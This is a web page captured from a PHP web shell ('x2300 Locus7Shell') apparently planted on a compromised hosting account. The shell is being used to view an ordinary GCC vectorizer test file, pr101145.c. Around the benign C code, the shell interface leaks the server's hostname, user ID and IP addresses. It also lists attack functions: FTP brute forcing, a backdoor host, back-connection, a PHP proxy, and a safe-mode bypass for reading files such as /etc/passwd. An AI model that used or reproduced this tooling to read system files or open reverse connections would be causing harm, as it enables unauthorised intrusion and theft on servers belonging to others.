Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/vect/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr101145.c (3.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-require-effective-target vect_int } */
/* { dg-additional-options "-O3" } */
#include <limits.h>

unsigned __attribute__ ((noinline))
foo (int *__restrict__ a, int *__restrict__ b, unsigned l, unsigned n)
{
  while (n < ++l)
    *a++ = *b++ + 1;
  return l;
}

unsigned __attribute__ ((noinline))
foo_1 (int *__restrict__ a, int *__restrict__ b, unsigned l, unsigned)
{
  while (UINT_MAX - 64 < ++l)
    *a++ = *b++ + 1;
  return l;
}

unsigned __attribute__ ((noinline))
foo_2 (int *__restrict__ a, int *__restrict__ b, unsigned l, unsigned n)
{
  l = UINT_MAX - 32;
  while (n < ++l)
    *a++ = *b++ + 1;
  return l;
}

unsigned __attribute__ ((noinline))
foo_3 (int *__restrict__ a, int *__restrict__ b, unsigned l, unsigned n)
{
  while (n <= ++l)
    *a++ = *b++ + 1;
  return l;
}

unsigned __attribute__ ((noinline))
foo_4 (int *__restrict__ a, int *__restrict__ b, unsigned l, unsigned n)
{  // infininate 
  while (0 <= ++l)
    *a++ = *b++ + 1;
  return l;
}

unsigned __attribute__ ((noinline))
foo_5 (int *__restrict__ a, int *__restrict__ b, unsigned l, unsigned n)
{
  //no loop
  l = UINT_MAX;
  while (n < ++l)
    *a++ = *b++ + 1;
  return l;
}

unsigned __attribute__ ((noinline))
bar (int *__restrict__ a, int *__restrict__ b, unsigned l, unsigned n)
{
  while (--l < n)
    *a++ = *b++ + 1;
  return l;
}

unsigned __attribute__ ((noinline))
bar_1 (int *__restrict__ a, int *__restrict__ b, unsigned l, unsigned)
{
  while (--l < 64)
    *a++ = *b++ + 1;
  return l;
}

unsigned __attribute__ ((noinline))
bar_2 (int *__restrict__ a, int *__restrict__ b, unsigned l, unsigned n)
{
  l = 32;
  while (--l < n)
    *a++ = *b++ + 1;
  return l;
}


int a[3200], b[3200];
int fail;

int
main ()
{
  unsigned l, n;
  unsigned res;
  /* l > n*/
  n = UINT_MAX - 64;
  l = n + 32;
  res = foo (a, b, l, n);
  if (res != 0)
    fail++;

  l = n;
  res = foo (a, b, l, n);
  if (res != 0)
    fail++;

  l = n - 1;
  res = foo (a, b, l, n);
  if (res != l + 1)
    fail++;
  
  l = n - 32;
  res = foo (a, b, l, n);
  if (res != l + 1)
    fail++;

  l = UINT_MAX;
  res = foo (a, b, l, n);
  if (res != 0)
    fail++;

  l = n + 32;
  res = foo_1 (a, b, l, n);
  if (res != 0)
    fail++;

  l = n + 32;
  res = foo_2 (a, b, l, n);
  if (res != 0)
    fail++;

  l = n;
  res = foo_3 (a, b, l, n);
  if (res != 0)
    fail++;

  l = n - 1;
  res = foo_3 (a, b, l, n);
  if (res != 0)
    fail++;

  l = n - 2;
  res = foo_3 (a, b, l, n);
  if (res != l + 1)
    fail++;

  res = foo_5 (a, b, l, n);
  if (res != 0)
    fail++;

  n = 64;
  l = n - 32;
  res = bar (a, b, l, n);
  res++;
  if (res != 0)
    fail++;

  l = n;
  res = bar (a, b, l, n);
  res++;
  if (res != 0)
    fail++;

  l = n + 1;
  res = bar (a, b, l, n);
  res++;
  if (res != l)
    fail++;

  l = 0;
  res = bar (a, b, l, n);
  res++;
  if (res != l)
    fail++;

  l = 32;
  res = bar_1 (a, b, l, n);
  res++;
  if (res != 0)
    fail++;  

  res = bar_1 (a, b, l, n);
  res++;
  if (res != 0)
    fail++;  

  if (fail)
    __builtin_abort ();
  return 0;
}

/* { dg-final { scan-tree-dump-times "vectorized 1 loops" 7 "vect" } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0055 ]--